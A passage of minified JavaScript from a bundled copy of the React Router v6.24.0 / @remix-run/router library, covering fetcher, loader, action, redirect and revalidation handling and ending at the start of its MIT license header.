jt(R,Ve({matches:N,loaderData:{},errors:de&&qt(de[1])?{[de[0]]:de[1].error}:null},$v(de),ve?{fetchers:new Map(b.fetchers)}:{}),{flushSync:G}),{shortCircuited:!0}}if(Ae){let ve={};if(!A){ve.navigation=Le;let Ye=nt(de);Ye!==void 0&&(ve.actionData=Ye)}rt.length>0&&(ve.fetchers=jr(rt)),Je(ve,{flushSync:G})}rt.forEach(ve=>{Q.has(ve.key)&&bn(ve.key),ve.controller&&Q.set(ve.key,ve.controller)});let Ks=()=>rt.forEach(ve=>bn(ve.key));O&&O.signal.addEventListener("abort",Ks);let{loaderResults:Fr,fetcherResults:xi}=await gi(b.matches,N,dt,rt,k);if(k.signal.aborted)return{shortCircuited:!0};O&&O.signal.removeEventListener("abort",Ks),rt.forEach(ve=>Q.delete(ve.key));let bi=Bv([...Fr,...xi]);if(bi){if(bi.idx>=dt.length){let ve=rt[bi.idx-dt.length].key;W.add(ve)}return await Ao(k,bi.result,{replace:U}),{shortCircuited:!0}}let{loaderData:Ci,errors:Bn}=zv(b,N,dt,Fr,de,rt,xi,Xe);Xe.forEach((ve,Ye)=>{ve.subscribe(Qt=>{(Qt||ve.done)&&Xe.delete(Ye)})}),f.v7_partialHydration&&ue&&b.errors&&Object.entries(b.errors).filter(ve=>{let[Ye]=ve;return!dt.some(Qt=>Qt.route.id===Ye)}).forEach(ve=>{let[Ye,Qt]=ve;Bn=Object.assign(Bn||{},{[Ye]:Qt})});let Tl=wi(),Nl=Cn(D),Ol=Tl||Nl||rt.length>0;return Ve({matches:N,loaderData:Ci,errors:Bn},Ol?{fetchers:new Map(b.fetchers)}:{})}function nt(k){if(k&&!qt(k[1]))return{[k[0]]:k[1].data};if(b.actionData)return Object.keys(b.actionData).length===0?null:b.actionData}function jr(k){return k.forEach(R=>{let N=b.fetchers.get(R.key),A=sa(void 0,N?N.data:void 0);b.fetchers.set(R.key,A)}),new Map(b.fetchers)}function Qc(k,R,N,A){if(r)throw new Error("router.fetch() was called during the server render, but it shouldn't be. You are likely calling a useFetcher() method in the body of your component. Try moving it to a useEffect or a callback.");Q.has(k)&&bn(k);let H=(A&&A.unstable_flushSync)===!0,J=a||s,oe=zf(b.location,b.matches,l,f.v7_prependBasename,N,f.v7_relativeSplatPath,R,A==null?void 0:A.relative),U=zo(J,oe,l),ue=qp(U,J,oe);if(ue.active&&ue.matches&&(U=ue.matches),!U){yt(k,R,Tt(404,{pathname:oe}),{flushSync:H});return}let{path:G,submission:de,error:Le}=Lv(f.v7_normalizeFormMethod,!0,oe,A);if(Le){yt(k,R,Le,{flushSync:H});return}let _e=ha(U,G);if(T=(A&&A.preventScrollReset)===!0,de&&Pn(de.formMethod)){Kc(k,R,G,_e,U,ue.active,H,de);return}X.set(k,{routeId:R,path:G}),vi(k,R,G,_e,U,ue.active,H,de)}async function Kc(k,R,N,A,H,J,oe,U){Un(),X.delete(k);function ue(Me){if(!Me.route.action&&!Me.route.lazy){let ur=Tt(405,{method:U.formMethod,pathname:N,routeId:R});return yt(k,R,ur,{flushSync:oe}),!0}return!1}if(!J&&ue(A))return;let G=b.fetchers.get(k);xn(k,e4(U,G),{flushSync:oe});let de=new AbortController,Le=Ri(e.history,N,de.signal,U);if(J){let Me=await Pl(H,N,Le.signal);if(Me.type==="aborted")return;if(Me.type==="error"){let{error:ur}=kt(N,Me);yt(k,R,ur,{flushSync:oe});return}else if(Me.matches){if(H=Me.matches,A=ha(H,N),ue(A))return}else{yt(k,R,Tt(404,{pathname:N}),{flushSync:oe});return}}Q.set(k,de);let _e=L,Pe=(await Ir("action",Le,[A],H))[0];if(Le.signal.aborted){Q.get(k)===de&&Q.delete(k);return}if(f.v7_fetcherPersist&&ke.has(k)){if(Ho(Pe)||qt(Pe)){xn(k,Hr(void 0));return}}else{if(Ho(Pe))if(Q.delete(k),D>_e){xn(k,Hr(void 0));return}else return W.add(k),xn(k,sa(U)),Ao(Le,Pe,{fetcherSubmission:U});if(qt(Pe)){yt(k,R,Pe.error);return}}if(Vo(Pe))throw Tt(400,{type:"defer-action"});let dt=b.navigation.location||b.location,rt=Ri(e.history,dt,de.signal),Ks=a||s,Fr=b.navigation.state!=="idle"?zo(Ks,b.navigation.location,l):b.matches;he(Fr,"Didn't find any matches after fetcher action");let xi=++L;q.set(k,xi);let bi=sa(U,Pe.data);b.fetchers.set(k,bi);let[Ci,Bn]=Av(e.history,b,Fr,U,dt,!1,f.unstable_skipActionErrorRevalidation,re,me,le,ke,X,W,Ks,l,[A.route.id,Pe]);Bn.filter(Me=>Me.key!==k).forEach(Me=>{let ur=Me.key,Xp=b.fetchers.get(ur),m2=sa(void 0,Xp?Xp.data:void 0);b.fetchers.set(ur,m2),Q.has(ur)&&bn(ur),Me.controller&&Q.set(ur,Me.controller)}),Je({fetchers:new Map(b.fetchers)});let Tl=()=>Bn.forEach(Me=>bn(Me.key));de.signal.addEventListener("abort",Tl);let{loaderResults:Nl,fetcherResults:Ol}=await gi(b.matches,Fr,Ci,Bn,rt);if(de.signal.aborted)return;de.signal.removeEventListener("abort",Tl),q.delete(k),Q.delete(k),Bn.forEach(Me=>Q.delete(Me.key));let ve=Bv([...Nl,...Ol]);if(ve){if(ve.idx>=Ci.length){let Me=Bn[ve.idx-Ci.length].key;W.add(Me)}return Ao(rt,ve.result)}let{loaderData:Ye,errors:Qt}=zv(b,b.matches,Ci,Nl,void 0,Bn,Ol,Xe);if(b.fetchers.has(k)){let Me=Hr(Pe.data);b.fetchers.set(k,Me)}Cn(xi),b.navigation.state==="loading"&&xi>D?(he(P,"Expected pending action"),O&&O.abort(),jt(b.navigation.location,{matches:Fr,loaderData:Ye,errors:Qt,fetchers:new Map(b.fetchers)})):(Je({errors:Qt,loaderData:Fv(b.loaderData,Ye,Fr,Qt),fetchers:new Map(b.fetchers)}),re=!1)}async function vi(k,R,N,A,H,J,oe,U){let ue=b.fetchers.get(k);xn(k,sa(U,ue?ue.data:void 0),{flushSync:oe});let G=new AbortController,de=Ri(e.history,N,G.signal);if(J){let Pe=await Pl(H,N,de.signal);if(Pe.type==="aborted")return;if(Pe.type==="error"){let{error:dt}=kt(N,Pe);yt(k,R,dt,{flushSync:oe});return}else if(Pe.matches)H=Pe.matches,A=ha(H,N);else{yt(k,R,Tt(404,{pathname:N}),{flushSync:oe});return}}Q.set(k,G);let Le=L,Ae=(await Ir("loader",de,[A],H))[0];if(Vo(Ae)&&(Ae=await vw(Ae,de.signal,!0)||Ae),Q.get(k)===G&&Q.delete(k),!de.signal.aborted){if(ke.has(k)){xn(k,Hr(void 0));return}if(Ho(Ae))if(D>Le){xn(k,Hr(void 0));return}else{W.add(k),await Ao(de,Ae);return}if(qt(Ae)){yt(k,R,Ae.error);return}he(!Vo(Ae),"Unhandled fetcher deferred data"),xn(k,Hr(Ae.data))}}async function Ao(k,R,N){let{submission:A,fetcherSubmission:H,replace:J}=N===void 0?{}:N;R.response.headers.has("X-Remix-Revalidate")&&(re=!0);let oe=R.response.headers.get("Location");he(oe,"Expected a Location header on the redirect Response"),oe=jv(oe,new URL(k.url),l);let U=Rs(b.location,oe,{_isRedirect:!0});if(n){let Ae=!1;if(R.response.headers.has("X-Remix-Reload-Document"))Ae=!0;else if(_p.test(oe)){const Pe=e.history.createURL(oe);Ae=Pe.origin!==t.location.origin||$s(Pe.pathname,l)==null}if(Ae){J?t.location.replace(oe):t.location.assign(oe);return}}O=null;let ue=J===!0?ot.Replace:ot.Push,{formMethod:G,formAction:de,formEncType:Le}=b.navigation;!A&&!H&&G&&de&&Le&&(A=Hv(b.navigation));let _e=A||H;if(D5.has(R.response.status)&&_e&&Pn(_e.formMethod))await gt(ue,U,{submission:Ve({},_e,{formAction:oe}),preventScrollReset:T});else{let Ae=Md(U,A);await gt(ue,U,{overrideNavigation:Ae,fetcherSubmission:H,preventScrollReset:T})}}async function Ir(k,R,N,A){try{let H=await V5(u,k,R,N,A,i,o);return await Promise.all(H.map((J,oe)=>{if(G5(J)){let U=J.result;return{type:De.redirect,response:Z5(U,R,N[oe].route.id,A,l,f.v7_relativeSplatPath)}}return W5(J)}))}catch(H){return N.map(()=>({type:De.error,error:H}))}}async function gi(k,R,N,A,H){let[J,...oe]=await Promise.all([N.length?Ir("loader",H,N,R):[],...A.map(U=>{if(U.matches&&U.match&&U.controller){let ue=Ri(e.history,U.path,U.controller.signal);return Ir("loader",ue,[U.match],U.matches).then(G=>G[0])}else return Promise.resolve({type:De.error,error:Tt(404,{pathname:U.path})})})]);return await Promise.all([Vv(k,N,J,J.map(()=>H.signal),!1,b.loaderData),Vv(k,A.map(U=>U.match),oe,A.map(U=>U.controller?U.controller.signal:null),!0)]),{loaderResults:J,fetcherResults:oe}}function Un(){re=!0,me.push(...zr()),X.forEach((k,R)=>{Q.has(R)&&(le.push(R),bn(R))})}function xn(k,R,N){N===void 0&&(N={}),b.fetchers.set(k,R),Je({fetchers:new Map(b.fetchers)},{flushSync:(N&&N.flushSync)===!0})}function yt(k,R,N,A){A===void 0&&(A={});let H=ka(b.matches,R);yi(k),Je({errors:{[H.route.id]:N},fetchers:new Map(b.fetchers)},{flushSync:(A&&A.flushSync)===!0})}function Qs(k){return f.v7_fetcherPersist&&(we.set(k,(we.get(k)||0)+1),ke.has(k)&&ke.delete(k)),b.fetchers.get(k)||j5}function yi(k){let R=b.fetchers.get(k);Q.has(k)&&!(R&&R.state==="loading"&&q.has(k))&&bn(k),X.delete(k),q.delete(k),W.delete(k),ke.delete(k),b.fetchers.delete(k)}function kl(k){if(f.v7_fetcherPersist){let R=(we.get(k)||0)-1;R<=0?(we.delete(k),ke.add(k)):we.set(k,R)}else yi(k);Je({fetchers:new Map(b.fetchers)})}function bn(k){let R=Q.get(k);he(R,"Expected fetch controller: "+k),R.abort(),Q.delete(k)}function Rl(k){for(let R of k){let N=Qs(R),A=Hr(N.data);b.fetchers.set(R,A)}}function wi(){let k=[],R=!1;for(let N of W){let A=b.fetchers.get(N);he(A,"Expected fetcher: "+N),A.state==="loading"&&(W.delete(N),k.push(N),R=!0)}return Rl(k),R}function Cn(k){let R=[];for(let[N,A]of q)if(A<k){let H=b.fetchers.get(N);he(H,"Expected fetcher: "+N),H.state==="loading"&&(bn(N),q.delete(N),R.push(N))}return Rl(R),R.length>0}function Yc(k,R){let N=b.blockers.get(k)||ia;return ge.get(k)!==R&&ge.set(k,R),N}function ae(k){b.blockers.delete(k),ge.delete(k)}function Re(k,R){let N=b.blockers.get(k)||ia;he(N.state==="unblocked"&&R.state==="blocked"||N.state==="blocked"&&R.state==="blocked"||N.state==="blocked"&&R.state==="proceeding"||N.state==="blocked"&&R.state==="unblocked"||N.state==="proceeding"&&R.state==="unblocked","Invalid blocker state transition: "+N.state+" -> "+R.state);let A=new Map(b.blockers);A.set(k,R),Je({blockers:A})}function Ne(k){let{currentLocation:R,nextLocation:N,historyAction:A}=k;if(ge.size===0)return;ge.size>1&&xo(!1,"A router only supports one blocker at a time");let H=Array.from(ge.entries()),[J,oe]=H[H.length-1],U=b.blockers.get(J);if(!(U&&U.state==="proceeding")&&oe({currentLocation:R,nextLocation:N,historyAction:A}))return J}function It(k){let R=Tt(404,{pathname:k}),N=a||s,{matches:A,route:H}=Uv(N);return zr(),{notFoundMatches:A,route:H,error:R}}function kt(k,R){let N=R.partialMatches,A=N[N.length-1].route,H=Tt(400,{type:"route-discovery",routeId:A.id,pathname:k,message:R.error!=null&&"message"in R.error?R.error:String(R.error)});return{notFoundMatches:N,route:A,error:H}}function zr(k){let R=[];return Xe.forEach((N,A)=>{(!k||k(A))&&(N.cancel(),R.push(A),Xe.delete(A))}),R}function Gc(k,R,N){if(w=k,x=R,g=N||null,!v&&b.navigation===Ad){v=!0;let A=Gp(b.location,b.matches);A!=null&&Je({restoreScrollPosition:A})}return()=>{w=null,x=null,g=null}}function Yp(k,R){return g&&g(k,R.map(A=>h5(A,b.loaderData)))||k.key}function h2(k,R){if(w&&x){let N=Yp(k,R);w[N]=x()}}function Gp(k,R){if(w){let N=Yp(k,R),A=w[N];if(typeof A=="number")return A}return null}function qp(k,R,N){if(c)if(k){if(k[k.length-1].route.path==="*")return{active:!0,matches:wu(R,N,l,!0)}}else return{active:!0,matches:wu(R,N,l,!0)||[]};return{active:!1,matches:null}}async function Pl(k,R,N){let A=k,H=A.length>0?A[A.length-1].route:null;for(;;){try{await U5(c,R,A,s||a,i,o,Zt,N)}catch(G){return{type:"error",error:G,partialMatches:A}}if(N.aborted)return{type:"aborted"};let J=a||s,oe=zo(J,R,l),U=!1;if(oe){let G=oe[oe.length-1].route;if(G.index)return{type:"success",matches:oe};if(G.path&&G.path.length>0)if(G.path==="*")U=!0;else return{type:"success",matches:oe}}let ue=wu(J,R,l,!0);if(!ue||A.map(G=>G.route.id).join("-")===ue.map(G=>G.route.id).join("-"))return{type:"success",matches:U?oe:null};if(A=ue,H=A[A.length-1].route,H.path==="*")return{type:"success",matches:A}}}function p2(k){i={},a=Wa(k,o,void 0,i)}return _={get basename(){return l},get future(){return f},get state(){return b},get routes(){return s},get window(){return t},initialize:Fn,subscribe:pi,enableScrollRestoration:Gc,navigate:Dr,fetch:Qc,revalidate:mi,createHref:k=>e.history.createHref(k),encodeLocation:k=>e.history.encodeLocation(k),getFetcher:Qs,deleteFetcher:kl,dispose:$n,getBlocker:Yc,deleteBlocker:ae,patchRoutes(k,R){return hw(k,R,s||a,i,o)},_internalFetchControllers:Q,_internalActiveDeferreds:Xe,_internalSetRoutes:p2},_}function z5(e){return e!=null&&("formData"in e&&e.formData!=null||"body"in e&&e.body!==void 0)}function zf(e,t,n,r,o,i,s,a){let l,u;if(s){l=[];for(let f of t)if(l.push(f),f.route.id===s){u=f;break}}else l=t,u=t[t.length-1];let c=Mc(o||".",Ac(l,i),$s(e.pathname,n)||e.pathname,a==="path");return o==null&&(c.search=e.search,c.hash=e.hash),(o==null||o===""||o===".")&&u&&u.route.index&&!kp(c.search)&&(c.search=c.search?c.search.replace(/^\?/,"?index&"):"?index"),r&&n!=="/"&&(c.pathname=c.pathname==="/"?n:xr([n,c.pathname])),bo(c)}function Lv(e,t,n,r){if(!r||!z5(r))return{path:n};if(r.formMethod&&!X5(r.formMethod))return{path:n,error:Tt(405,{method:r.formMethod})};let o=()=>({path:n,error:Tt(400,{type:"invalid-body"})}),i=r.formMethod||"get",s=e?i.toUpperCase():i.toLowerCase(),a=pw(n);if(r.body!==void 0){if(r.formEncType==="text/plain"){if(!Pn(s))return o();let d=typeof r.body=="string"?r.body:r.body instanceof FormData||r.body instanceof URLSearchParams?Array.from(r.body.entries()).reduce((m,w)=>{let[g,x]=w;return""+m+g+"="+x+`
`},""):String(r.body);return{path:n,submission:{formMethod:s,formAction:a,formEncType:r.formEncType,formData:void 0,json:void 0,text:d}}}else if(r.formEncType==="application/json"){if(!Pn(s))return o();try{let d=typeof r.body=="string"?JSON.parse(r.body):r.body;return{path:n,submission:{formMethod:s,formAction:a,formEncType:r.formEncType,formData:void 0,json:d,text:void 0}}}catch{return o()}}}he(typeof FormData=="function","FormData is not available in this environment");let l,u;if(r.formData)l=Ff(r.formData),u=r.formData;else if(r.body instanceof FormData)l=Ff(r.body),u=r.body;else if(r.body instanceof URLSearchParams)l=r.body,u=Iv(l);else if(r.body==null)l=new URLSearchParams,u=new FormData;else try{l=new URLSearchParams(r.body),u=Iv(l)}catch{return o()}let c={formMethod:s,formAction:a,formEncType:r&&r.formEncType||"application/x-www-form-urlencoded",formData:u,json:void 0,text:void 0};if(Pn(c.formMethod))return{path:n,submission:c};let f=Or(n);return t&&f.search&&kp(f.search)&&l.append("index",""),f.search="?"+l,{path:bo(f),submission:c}}function F5(e,t){let n=e;if(t){let r=e.findIndex(o=>o.route.id===t);r>=0&&(n=e.slice(0,r))}return n}function Av(e,t,n,r,o,i,s,a,l,u,c,f,d,m,w,g){let x=g?qt(g[1])?g[1].error:g[1].data:void 0,v=e.createURL(t.location),p=e.createURL(o),y=g&&qt(g[1])?g[0]:void 0,C=y?F5(n,y):n,_=g?g[1].statusCode:void 0,b=s&&_&&_>=400,P=C.filter((O,M)=>{let{route:$}=O;if($.lazy)return!0;if($.loader==null)return!1;if(i)return typeof $.loader!="function"||$.loader.hydrate?!0:t.loaderData[$.id]===void 0&&(!t.errors||t.errors[$.id]===void 0);if($5(t.loaderData,t.matches[M],O)||l.some(re=>re===O.route.id))return!0;let B=t.matches[M],ne=O;return Mv(O,Ve({currentUrl:v,currentParams:B.params,nextUrl:p,nextParams:ne.params},r,{actionResult:x,unstable_actionStatus:_,defaultShouldRevalidate:b?!1:a||v.pathname+v.search===p.pathname+p.search||v.search!==p.search||fw(B,ne)}))}),T=[];return f.forEach((O,M)=>{if(i||!n.some(me=>me.route.id===O.routeId)||c.has(M))return;let $=zo(m,O.path,w);if(!$){T.push({key:M,routeId:O.routeId,path:O.path,matches:null,match:null,controller:null});return}let B=t.fetchers.get(M),ne=ha($,O.path),re=!1;d.has(M)?re=!1:u.includes(M)?re=!0:B&&B.state!=="idle"&&B.data===void 0?re=a:re=Mv(ne,Ve({currentUrl:v,currentParams:t.matches[t.matches.length-1].params,nextUrl:p,nextParams:n[n.length-1].params},r,{actionResult:x,unstable_actionStatus:_,defaultShouldRevalidate:b?!1:a})),re&&T.push({key:M,routeId:O.routeId,path:O.path,matches:$,match:ne,controller:new AbortController})}),[P,T]}function $5(e,t,n){let r=!t||n.route.id!==t.route.id,o=e[n.route.id]===void 0;return r||o}function fw(e,t){let n=e.route.path;return e.pathname!==t.pathname||n!=null&&n.endsWith("*")&&e.params["*"]!==t.params["*"]}function Mv(e,t){if(e.route.shouldRevalidate){let n=e.route.shouldRevalidate(t);if(typeof n=="boolean")return n}return t.defaultShouldRevalidate}async function U5(e,t,n,r,o,i,s,a){let l=[t,...n.map(u=>u.route.id)].join("-");try{let u=s.get(l);u||(u=e({path:t,matches:n,patch:(c,f)=>{a.aborted||hw(c,f,r,o,i)}}),s.set(l,u)),u&&Y5(u)&&await u}finally{s.delete(l)}}function hw(e,t,n,r,o){if(e){var i;let s=r[e];he(s,"No route found to patch children into: routeId = "+e);let a=Wa(t,o,[e,"patch",String(((i=s.children)==null?void 0:i.length)||"0")],r);s.children?s.children.push(...a):s.children=a}else{let s=Wa(t,o,["patch",String(n.length||"0")],r);n.push(...s)}}async function Dv(e,t,n){if(!e.lazy)return;let r=await e.lazy();if(!e.lazy)return;let o=n[e.id];he(o,"No route found in manifest");let i={};for(let s in r){let l=o[s]!==void 0&&s!=="hasErrorBoundary";xo(!l,'Route "'+o.id+'" has a static property "'+s+'" defined but its lazy function is also returning a value for this property. '+('The lazy route property "'+s+'" will be ignored.')),!l&&!d5.has(s)&&(i[s]=r[s])}Object.assign(o,i),Object.assign(o,Ve({},t(o),{lazy:void 0}))}function B5(e){return Promise.all(e.matches.map(t=>t.resolve()))}async function V5(e,t,n,r,o,i,s,a){let l=r.reduce((f,d)=>f.add(d.route.id),new Set),u=new Set,c=await e({matches:o.map(f=>{let d=l.has(f.route.id);return Ve({},f,{shouldLoad:d,resolve:w=>(u.add(f.route.id),d?H5(t,n,f,i,s,w,a):Promise.resolve({type:De.data,result:void 0}))})}),request:n,params:o[0].params,context:a});return o.forEach(f=>he(u.has(f.route.id),'`match.resolve()` was not called for route id "'+f.route.id+'". You must call `match.resolve()` on every match passed to `dataStrategy` to ensure all routes are properly loaded.')),c.filter((f,d)=>l.has(o[d].route.id))}async function H5(e,t,n,r,o,i,s){let a,l,u=c=>{let f,d=new Promise((g,x)=>f=x);l=()=>f(),t.signal.addEventListener("abort",l);let m=g=>typeof c!="function"?Promise.reject(new Error("You cannot call the handler for a route which defines a boolean "+('"'+e+'" [routeId: '+n.route.id+"]"))):c({request:t,params:n.params,context:s},...g!==void 0?[g]:[]),w;return i?w=i(g=>m(g)):w=(async()=>{try{return{type:"data",result:await m()}}catch(g){return{type:"error",result:g}}})(),Promise.race([w,d])};try{let c=n.route[e];if(n.route.lazy)if(c){let f,[d]=await Promise.all([u(c).catch(m=>{f=m}),Dv(n.route,o,r)]);if(f!==void 0)throw f;a=d}else if(await Dv(n.route,o,r),c=n.route[e],c)a=await u(c);else if(e==="action"){let f=new URL(t.url),d=f.pathname+f.search;throw Tt(405,{method:t.method,pathname:d,routeId:n.route.id})}else return{type:De.data,result:void 0};else if(c)a=await u(c);else{let f=new URL(t.url),d=f.pathname+f.search;throw Tt(404,{pathname:d})}he(a.result!==void 0,"You defined "+(e==="action"?"an action":"a loader")+" for route "+('"'+n.route.id+"\" but didn't return anything from your `"+e+"` ")+"function. Please return a value or `null`.")}catch(c){return{type:De.error,result:c}}finally{l&&t.signal.removeEventListener("abort",l)}return a}async function W5(e){let{result:t,type:n,status:r}=e;if(mw(t)){let s;try{let a=t.headers.get("Content-Type");a&&/\bapplication\/json\b/.test(a)?t.body==null?s=null:s=await t.json():s=await t.text()}catch(a){return{type:De.error,error:a}}return n===De.error?{type:De.error,error:new Ep(t.status,t.statusText,s),statusCode:t.status,headers:t.headers}:{type:De.data,data:s,statusCode:t.status,headers:t.headers}}if(n===De.error)return{type:De.error,error:t,statusCode:Dc(t)?t.status:r};if(q5(t)){var o,i;return{type:De.deferred,deferredData:t,statusCode:(o=t.init)==null?void 0:o.status,headers:((i=t.init)==null?void 0:i.headers)&&new Headers(t.init.headers)}}return{type:De.data,data:t,statusCode:r}}function Z5(e,t,n,r,o,i){let s=e.headers.get("Location");if(he(s,"Redirects returned/thrown from loaders/actions must have a Location header"),!_p.test(s)){let a=r.slice(0,r.findIndex(l=>l.route.id===n)+1);s=zf(new URL(t.url),a,o,!0,s,i),e.headers.set("Location",s)}return e}function jv(e,t,n){if(_p.test(e)){let r=e,o=r.startsWith("//")?new URL(t.protocol+r):new URL(r),i=$s(o.pathname,n)!=null;if(o.origin===t.origin&&i)return o.pathname+o.search+o.hash}return e}function Ri(e,t,n,r){let o=e.createURL(pw(t)).toString(),i={signal:n};if(r&&Pn(r.formMethod)){let{formMethod:s,formEncType:a}=r;i.method=s.toUpperCase(),a==="application/json"?(i.headers=new Headers({"Content-Type":a}),i.body=JSON.stringify(r.json)):a==="text/plain"?i.body=r.text:a==="application/x-www-form-urlencoded"&&r.formData?i.body=Ff(r.formData):i.body=r.formData}return new Request(o,i)}function Ff(e){let t=new URLSearchParams;for(let[n,r]of e.entries())t.append(n,typeof r=="string"?r:r.name);return t}function Iv(e){let t=new FormData;for(let[n,r]of e.entries())t.append(n,r);return t}function Q5(e,t,n,r,o,i){let s={},a=null,l,u=!1,c={},f=r&&qt(r[1])?r[1].error:void 0;return n.forEach((d,m)=>{let w=t[m].route.id;if(he(!Ho(d),"Cannot handle redirect results in processLoaderData"),qt(d)){let g=d.error;f!==void 0&&(g=f,f=void 0),a=a||{};{let x=ka(e,w);a[x.route.id]==null&&(a[x.route.id]=g)}s[w]=void 0,u||(u=!0,l=Dc(d.error)?d.error.status:500),d.headers&&(c[w]=d.headers)}else Vo(d)?(o.set(w,d.deferredData),s[w]=d.deferredData.data,d.statusCode!=null&&d.statusCode!==200&&!u&&(l=d.statusCode),d.headers&&(c[w]=d.headers)):(s[w]=d.data,d.statusCode&&d.statusCode!==200&&!u&&(l=d.statusCode),d.headers&&(c[w]=d.headers))}),f!==void 0&&r&&(a={[r[0]]:f},s[r[0]]=void 0),{loaderData:s,errors:a,statusCode:l||200,loaderHeaders:c}}function zv(e,t,n,r,o,i,s,a){let{loaderData:l,errors:u}=Q5(t,n,r,o,a);for(let c=0;c<i.length;c++){let{key:f,match:d,controller:m}=i[c];he(s!==void 0&&s[c]!==void 0,"Did not find corresponding fetcher result");let w=s[c];if(!(m&&m.signal.aborted))if(qt(w)){let g=ka(e.matches,d==null?void 0:d.route.id);u&&u[g.route.id]||(u=Ve({},u,{[g.route.id]:w.error})),e.fetchers.delete(f)}else if(Ho(w))he(!1,"Unhandled fetcher revalidation redirect");else if(Vo(w))he(!1,"Unhandled fetcher deferred data");else{let g=Hr(w.data);e.fetchers.set(f,g)}}return{loaderData:l,errors:u}}function Fv(e,t,n,r){let o=Ve({},t);for(let i of n){let s=i.route.id;if(t.hasOwnProperty(s)?t[s]!==void 0&&(o[s]=t[s]):e[s]!==void 0&&i.route.loader&&(o[s]=e[s]),r&&r.hasOwnProperty(s))break}return o}function $v(e){return e?qt(e[1])?{actionData:{}}:{actionData:{[e[0]]:e[1].data}}:{}}function ka(e,t){return(t?e.slice(0,e.findIndex(r=>r.route.id===t)+1):[...e]).reverse().find(r=>r.route.hasErrorBoundary===!0)||e[0]}function Uv(e){let t=e.length===1?e[0]:e.find(n=>n.index||!n.path||n.path==="/")||{id:"__shim-error-route__"};return{matches:[{params:{},pathname:"",pathnameBase:"",route:t}],route:t}}function Tt(e,t){let{pathname:n,routeId:r,method:o,type:i,message:s}=t===void 0?{}:t,a="Unknown Server Error",l="Unknown @remix-run/router error";return e===400?(a="Bad Request",i==="route-discovery"?l='Unable to match URL "'+n+'" - the `children()` function for '+("route `"+r+"` threw the following error:\n"+s):o&&n&&r?l="You made a "+o+' request to "'+n+'" but '+('did not provide a `loader` for route "'+r+'", ')+"so there is no way to handle the request.":i==="defer-action"?l="defer() is not supported in actions":i==="invalid-body"&&(l="Unable to encode submission body")):e===403?(a="Forbidden",l='Route "'+r+'" does not match URL "'+n+'"'):e===404?(a="Not Found",l='No route matches URL "'+n+'"'):e===405&&(a="Method Not Allowed",o&&n&&r?l="You made a "+o.toUpperCase()+' request to "'+n+'" but '+('did not provide an `action` for route "'+r+'", ')+"so there is no way to handle the request.":o&&(l='Invalid request method "'+o.toUpperCase()+'"')),new Ep(e||500,a,new Error(l),!0)}function Bv(e){for(let t=e.length-1;t>=0;t--){let n=e[t];if(Ho(n))return{result:n,idx:t}}}function pw(e){let t=typeof e=="string"?Or(e):e;return bo(Ve({},t,{hash:""}))}function K5(e,t){return e.pathname!==t.pathname||e.search!==t.search?!1:e.hash===""?t.hash!=="":e.hash===t.hash?!0:t.hash!==""}function Y5(e){return typeof e=="object"&&e!=null&&"then"in e}function G5(e){return mw(e.result)&&M5.has(e.result.status)}function Vo(e){return e.type===De.deferred}function qt(e){return e.type===De.error}function Ho(e){return(e&&e.type)===De.redirect}function q5(e){let t=e;return t&&typeof t=="object"&&typeof t.data=="object"&&typeof t.subscribe=="function"&&typeof t.cancel=="function"&&typeof t.resolveData=="function"}function mw(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.headers=="object"&&typeof e.body<"u"}function X5(e){return A5.has(e.toLowerCase())}function Pn(e){return O5.has(e.toLowerCase())}async function Vv(e,t,n,r,o,i){for(let s=0;s<n.length;s++){let a=n[s],l=t[s];if(!l)continue;let u=e.find(f=>f.route.id===l.route.id),c=u!=null&&!fw(u,l)&&(i&&i[l.route.id])!==void 0;if(Vo(a)&&(o||c)){let f=r[s];he(f,"Expected an AbortSignal for revalidating fetcher deferred result"),await vw(a,f,o).then(d=>{d&&(n[s]=d||n[s])})}}}async function vw(e,t,n){if(n===void 0&&(n=!1),!await e.deferredData.resolveData(t)){if(n)try{return{type:De.data,data:e.deferredData.unwrappedData}}catch(o){return{type:De.error,error:o}}return{type:De.data,data:e.deferredData.data}}}function kp(e){return new URLSearchParams(e).getAll("index").some(t=>t==="")}function ha(e,t){let n=typeof t=="string"?Or(t).search:t.search;if(e[e.length-1].route.index&&kp(n||""))return e[e.length-1];let r=lw(e);return r[r.length-1]}function Hv(e){let{formMethod:t,formAction:n,formEncType:r,text:o,formData:i,json:s}=e;if(!(!t||!n||!r)){if(o!=null)return{formMethod:t,formAction:n,formEncType:r,formData:void 0,json:void 0,text:o};if(i!=null)return{formMethod:t,formAction:n,formEncType:r,formData:i,json:void 0,text:void 0};if(s!==void 0)return{formMethod:t,formAction:n,formEncType:r,formData:void 0,json:s,text:void 0}}}function Md(e,t){return t?{state:"loading",location:e,formMethod:t.formMethod,formAction:t.formAction,formEncType:t.formEncType,formData:t.formData,json:t.json,text:t.text}:{state:"loading",location:e,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0}}function J5(e,t){return{state:"submitting",location:e,formMethod:t.formMethod,formAction:t.formAction,formEncType:t.formEncType,formData:t.formData,json:t.json,text:t.text}}function sa(e,t){return e?{state:"loading",formMethod:e.formMethod,formAction:e.formAction,formEncType:e.formEncType,formData:e.formData,json:e.json,text:e.text,data:t}:{state:"loading",formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0,data:t}}function e4(e,t){return{state:"submitting",formMethod:e.formMethod,formAction:e.formAction,formEncType:e.formEncType,formData:e.formData,json:e.json,text:e.text,data:t?t.data:void 0}}function Hr(e){return{state:"idle",formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0,data:e}}function t4(e,t){try{let n=e.sessionStorage.getItem(cw);if(n){let r=JSON.parse(n);for(let[o,i]of Object.entries(r||{}))i&&Array.isArray(i)&&t.set(o,new Set(i||[]))}}catch{}}function n4(e,t){if(t.size>0){let n={};for(let[r,o]of t)n[r]=[...o];try{e.sessionStorage.setItem(cw,JSON.stringify(n))}catch(r){xo(!1,"Failed to save applied view transitions in sessionStorage ("+r+").")}}}/**
 * React Router v6.24.0
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
